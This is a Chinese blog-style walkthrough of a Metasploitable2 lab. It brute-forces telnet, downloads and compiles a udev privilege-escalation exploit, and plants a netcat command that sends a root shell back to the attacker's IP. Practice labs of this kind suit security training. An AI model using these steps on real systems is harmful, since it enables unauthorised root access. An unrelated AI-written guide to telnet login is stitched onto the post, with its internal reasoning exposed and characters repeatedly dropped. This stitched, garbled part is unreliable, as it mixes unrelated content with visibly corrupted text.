msfconsle telnet 登陆Metasploittable2提权

本文详细记录了使用Kali Linux对Metasploittable2进行安全渗透的过程,包括telnet登录、下载并利用exploit提升权限至root,以及通过netcat建立持久连接的步骤。

 

实验环境:

攻击机:kali linux 
ip:192.168.172.134
目标机:Metasploittable2
ip:192.168.172.129

攻击过程:

step1:爆破Metasploittable2的telnet登陆密码,用户名:msfadmin,密码:msfadmin     //用户非root权限

step2:msf 登陆Metasploittable2后,下载exp,

地址:wget http://www.exploit-db.com/download/8572              //下载不下来,需要在kali linux中下载,然后开启apache3服务,再wget 下载。

step3:kali 中设置nc监听

使用 netcat 进行监听 后期返回的shell。

命令:nc -lvp 4444

step4:msf 登陆Metasploittable2中,编译执行exp,获取root

命令:gcc 源文件  -o  exploit echo '#!/bin/sh' > /tmp/run                  //此时源文件为8572.c

命令:echo '/bin/netcat -e /bin/sh ip地址 4444' >> /tmp/run           //此时ip地址为192.168.172.134

命令:ps -edf | grep udev                         //搜索udev程序的pid

step5:执行exploit   具有root权限的pid -1 ./exploit 数字pid -1 

命令:./exploit  2178               //原来pid为2179

总结:telnet登陆Metasploittable2,后为非root用户,需要做的就是提权,这里用到的是exp,然后nc进行连接。

<think> 首先,用户的问题是关于“使用telnet登录服务器的方法”。我需要参考供的站内引用,但用户说“上述引用仅供参考”,所以我应该优先考虑用户的实际需求:即查找使用telnet登录服务器的方法。 从引用中,我可以取相关信息: - 引用[1]:描述了telnet是什么,它用于远程登录,用户可以在本地输入命令控制服务器。需要用户名和密码登录。 - 引用[2]:到Suse Linux中Telnet服务器默认禁用,并供解决方法。 - 引用[3]:展示了一个配置文件示例,如何启用telnet服务器(通过修改disable = yes 为 no)。 用户的问题是“查找使用telnet登陆服务器的方法”,所以我需要专注于如何作为客户端使用telnet登录服务器。 关键点: - Telnet是一个命令行工具,用于连接到远程服务器。 - 基本语法是:`telnet [hostname or IP address] [port]`,通常端口是23(默认Telnet端口)。 - 需要服务器的IP地址或主机名。 - 连接后,输入用户名和密码进行登录。 我需要供一个清晰、结构化的回答: 1. 介绍telnet的基本用途。 2. 解释如何安装telnet客户端(如果需要)。 3. 给出使用telnet登录服务器的步骤。 4. 包括示例命令。 5. 讨论安全性注意事项(因为telnet不加密,推荐使用SSH)。 回答结构: - 以中文回答。 - 使用系统级指令:行内数学表达式用$...$,独立公式用$$...$$(但这里可能不需要)。 - 生成相关问题。 - 在引用段落末尾添加引用标识。 生成相关问题: - 根据用户的问题,相关问题可以包括: 1. 如何在Windows/Linux上安装telnet2. Telnet与SSH的区别是什么? 3. 如何解决telnet连接问题? 4. Telnet的安全性风险? 确保回答真实可靠。 步骤: 1. 确认telnet客户端已安装(否则安装)。 2. 打开终端。 3. 输入telnet命令。 4. 登录并供凭证。 引用相关部分: - 从引用[1]:到用户名和密码登录。 - 从引用[3]:到配置文件,但那是服务器端,用户问的是登录方法(客户端),所以可能需要调整。 最终回答纲: - 段落1:介绍telnet登录的基本概念。 - 段落2:详细步骤。 - 段落3:示例。 - 段落4:安全建议。 - 然后列出相关问题。 </think> ### 使用Telnet登录服务器的方法 Telnet是一种基于TCP/IP协议的远程登录工具,允许用户通过本地终端连接到远程服务器并执行命令,就像直接操作服务器控制台一样[^1]。以下是使用Telnet登录服务器的详细步骤,适用于大多数操作系统(如Windows、Linux或macOS)。整个流程包括客户端安装、连接命令和登录验证,但请注意:**Telnet传输数据时不加密,存在安全风险,推荐优先使用SSH(Secure Shell)进行安全的远程登录**。 #### 步骤1: 确保Telnet客户端已安装 - Telnet客户端通常默认安装在Linux和macOS系统中。在Windows系统中,可能需要手动启用: - **Windows**:打开“控制面板” > “程序” > “启用或关闭Windows功能”,勾选“Telnet客户端”,然后点击“确定”安装。 - **Linux/macOS**:在终端运行命令检查是否安装:`telnet --version`。如果未安装,使用包管理器安装(例如,Ubuntu/Debian:`sudo apt install telnet`;macOS:`brew install telnet`)。 - 如果服务器端Telnet服务未启用(如引用[3]所述),需确保服务器已配置并启动Telnet守护进程(例如,在Linux中修改`/etc/xinetd.d/telnet`文件,设置`disable = no`)。 #### 步骤2: 使用Telnet命令连接服务器 在本地终端(命令示符或Shell)中执行以下命令: 1. **基本连接命令**: - 语法:`telnet [服务器IP地址或主机名] [端口号]` - 默认端口号为23(Telnet标准端口),如果服务器使用自定义端口,需指定。 - 示例:连接IP为`192.168.1.100`的服务器: ```bash telnet 192.168.1.100 23 ``` 或者直接使用主机名: ```bash telnet example.com ``` 2. **登录过程**: - 连接成功后,终端会示输入用户名和密码(如引用[1]所述)。 - 输入服务器管理员供的凭证(例如,用户名`root`和密码`your_password`)。 - 登录成功后,命令行示符会变为服务器端的示符(如`[root@server ~]#`),此时可输入任何服务器命令(例如`ls`或`pwd`)。 - 示例输出: ``` Trying 192.168.1.100... Connected to 192.168.1.100. Escape character is '^]'. login: root Password: ******** [root@server ~]# ``` #### 步骤3: 断开连接和常见问题处理 - **断开连接**:输入`exit`或`logout`命令,或按`Ctrl + ]`后输入`quit`。 - **常见问题**: - **连接失败**:检查服务器IP是否正确、端口是否开放(使用`ping`或`telnet`测试网络连通性)。如引用[2]所述,在Suse Linux等系统中,Telnet服务器可能默认禁用,需在服务器端启用服务。 - **认证失败**:确保用户名和密码正确;服务器可能限制了远程登录限。 - **安全警告**:Telnet不加密数据,易受中间人攻击,建议仅在内网环境使用。对于公网服务器,优先使用SSH(例如`ssh root@192.168.1.100`)。 #### 示例完整流程 假设服务器IP为`10.0.0.5`,用户名`admin`: ```bash # 在本地终端执行 telnet 10.0.0.5 # 系统响应后输入凭证 login: admin Password: admin_password # 登录成功后执行命令 admin@server$ whoami admin # 断开连接 admin@server$ exit ``` 此方法基于Telnet协议标准实现,适用于大多数环境[^1][^3]。 ### 相关问题 1. Telnet与SSH有什么区别?哪个更安全? 2. 如何在Linux服务器上启用Telnet服务? 3. Telnet连接失败时如何进行故障排除? 4. 为什么在现代系统中不建议使用Telnet
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值